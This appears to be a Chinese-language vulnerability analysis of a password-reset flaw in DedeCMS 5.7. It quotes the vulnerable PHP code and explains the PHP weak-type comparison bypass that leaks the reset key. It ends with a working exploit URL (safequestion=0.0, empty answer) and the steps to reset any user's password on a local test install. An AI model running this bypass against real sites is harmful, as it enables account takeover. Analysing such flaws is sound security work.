DedeCms5-7任意用户密码重置分析
代码分析
漏洞利用点主要是php弱类型的判断缺陷，漏洞代码位于 member\resetpassword.php
主要代码如下
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| else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起，您的安全问题或答案回答错误","-1");
exit();
}
}
|
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| if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
|
在该处使用了双等号进行判断，因此我们可以利用弱类型的特性进行绕过，默认注册用户是没有设置安全问题的，我们在数据库看一下默认的值
safequestion的值为0，safeanswer值为空
对于上方的判断
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| if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
|
最后的safequestion值为0，safeanswer值为空，这样对于safequestion，我们可以使用0.0 0.这样的字符串使他们强制转换为int后变为0 达到绕过判断的目的，而对于safeanswer我们直接置空就好
绕过之后我们会进入sn()函数
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| sn($mid, $row['userid'], $row['email'], 'N');
|
定位函数，该函数在/member/inc/inc_pwd_functions.php中，代码如下
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| function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
newmail($mid,$userid,$mailto,'INSERT',$send);
}
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
else
{
return ShowMsg('对不起，请10分钟后再重新申请', 'login.php');
}
}
|
首先该函数会在#@__pwd_tmp表中查询是否存在临时密码，当我们第一次重置密码时，该表中是没有值的，而后通过下面的判断，我们自然的进入了newmail函数
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| newmail($mid,$userid,$mailto,'INSERT',$send);
|
该函数同样在/member/inc/inc_pwd_functions.php 中，代码如下
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| function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid."：\r\n您好！感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败，请联系管理员', 'login.php');
}
}
elseif($type == 'UPDATE')
{
$key = md5($randval);
$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');
}
elseif($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
ShowMsg('对不起修改失败，请与管理员联系', 'login.php');
}
}
}
|
根据前面的参数传递，最后会执行到这里
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| return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
|
在这里$randval是我们所不知道的随机字符串，但是该行信息会进行回显输出，这也正是我们进行下一步密码重置操作所需要的链接
我们继续来看getpasswd的操作，代码位于 member\resetpassword.php，关键代码如下
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| else if($dopost == "getpasswd")
{
if(empty($id))
{
ShowMsg("对不起，请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起，请不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起，临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功，请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起，新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起，临时密码错误', '-1');
exit;
}
}
|
第一次会执行到这里
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| if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起，临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
|
该段代码最后请求了/templets/resetpassword2.htm 这个页面，我们来看一下
页面将step的值修改为2后又回到上面那段代码，接着执行该段
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| elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功，请牢记新密码', 'login.php');
exit;
}
}
}
|
该段进行了最后一步重置密码的操作
漏洞利用
首先访问链接 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
抓包repeater取回带有key的链接
访问该链接，即可重置密码
